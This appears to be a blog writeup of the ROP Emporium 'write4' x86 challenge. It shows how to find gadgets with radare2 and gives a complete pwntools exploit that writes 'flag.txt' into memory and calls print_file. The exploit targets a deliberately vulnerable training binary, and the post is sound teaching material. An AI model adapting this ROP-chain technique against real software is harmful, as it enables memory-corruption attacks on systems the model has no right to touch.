Post

ROP Emporium write4 Writeup (x86)

ROP Emporium write4 Writeup (x86)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the fourth challenge of eight.

According to the challenge page our goal is to call print_file() with the name of the file to read as the first argument. The string flag.txt doesn’t exist in the binary, so we will need to write it there ourselves!

This is what a hint will look like!

Exploit Crafting

The offset for x86 challenges will be 44 bytes. If you want to know how to find this value see the first writeup for this series.

Write Gadget

Check out usefulFunction’s assembly

Using radare2 we can analyze a binary by running aaa. We will need to write flag.txt to memory so let’s check the usefulGadgets section in usefulFunction We can view the assembly with the following commands

1
2
3
s sym.usefulFunction
V
p

useful gadgets

The mov instruction will set the value from ebp (4 byte qword) into the dereferenced address set in edi. This is what we’ll use to write to memory! The gadget address is 0x08048543

Mov Arguments

Find a gadget to control edi and ebp along with a writable program segment

Now we need to find a gadget which can control edi and ebp to control what to write and where to write it. We can use the /R command to search for gadgets

1
/R pop edi

mov args gadget

There are a few which come up but might as well use this one. Remember we can control where we jump so we can skip the pop ebx and pop esi instructions entirely! The address we’ll use to set edi and ebp is 0x080485aa

Now that we can control where to write and what to write, where and what should we write? We want to open flag.txt so we’ll set that into ebp. But we need to find a suitable location to write to. We can view writable sections with the command iS

writable sections

We need to find a section with the w permission and a size of at least 8 bytes (0x08). Let’s use the .data section which has the address 0x0804a018

The python code to write data to an address looks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/python3
from pwn import *

# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 4 bytes of a string
    for i in range(0, len(s), 4):
        # address to write to
        edi = p32(addr + i)

        # prevent slice out of bounds
        j = i+4
        if j >= len(s):
            j = len(s)

        # 4 bytes to write
        ebp = p32(int.from_bytes(s[i:j], 'little'))

        # set mov args
        payload += p32(pop_edi_ebp)
        payload += edi
        payload += ebp

        # write bytes
        payload += p32(write_gadget)
    return payload

Find the print_file address and a gadget which pops any register

First let’s find the address of print_file() using the command afl

print-file-addr

print_file is part of a library so we can just use the address of corresponding plt entry, 0x080483d0

Now we need to set the first argument to this function. According to the x86 calling convention, function arguments are passed through the stack. Remember from the callme challenge that we’ll need to set a pop gadget as a function’s return address to keep the stack maintained for additional function calls. We can just use the pop gadget we found earlier!

pop gadget

Since we only want to pop one argument off of the stack we can just execute pop ebp. This makes our gadget address 0x080485ab

Here’s a reusable function to add arguments to the stack in x86

1
2
3
4
5
6
7
8
9
10
#!/bin/python3
from pwn import *

# add arguments to stack (x86)
def add_args(args):
    # fix stack after func returns
    payload = p32(pop_ebp)
    for a in args:
        payload += p32(a)
    return payload

Exploit

We finally have everything to build the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/bin/python3
from pwn import *

# useful addresses
write_gadget = 0x08048543   # mov qword [edi], ebp
pop_edi_ebp = 0x080485aa
data_addr = 0x0804a018
print_file_addr = 0x080483d0
pop_ebp = 0x080485ab

# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 4 bytes of a string
    for i in range(0, len(s), 4):
        # address to write to
        edi = p32(addr + i)

        # prevent slice out of bounds
        j = i+4
        if j >= len(s):
            j = len(s)

        # 4 bytes to write
        ebp = p32(int.from_bytes(s[i:j], 'little'))

        # set mov args
        payload += p32(pop_edi_ebp)
        payload += edi
        payload += ebp

        # write bytes
        payload += p32(write_gadget)
    return payload

# add arguments to stack (x86)
def add_args(args):
    # fix stack after func returns
    payload = p32(pop_ebp)
    for a in args:
        payload += p32(a)
    return payload

# create payload
payload = b'A' * 44

# write flag.txt to data section
payload += write_str(data_addr, b'flag.txt')

# call print_file(flag_txt_addr)
payload += p32(print_file_addr)
payload += add_args([data_addr])

# send payload + receive flag
io = process('./write432')
io.send(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))

flag

Conclusion

In this challenge we learned how to write arbitrary data to memory. By this point we should be relatively comfortable finding and chaining gadgets together. Next we’ll learn how to deal with forbidden characters in our payload.

Previous Challenge (callme)

Next Challenge (badchars)

write4 x64

This post is licensed under CC BY 4.0 by the author.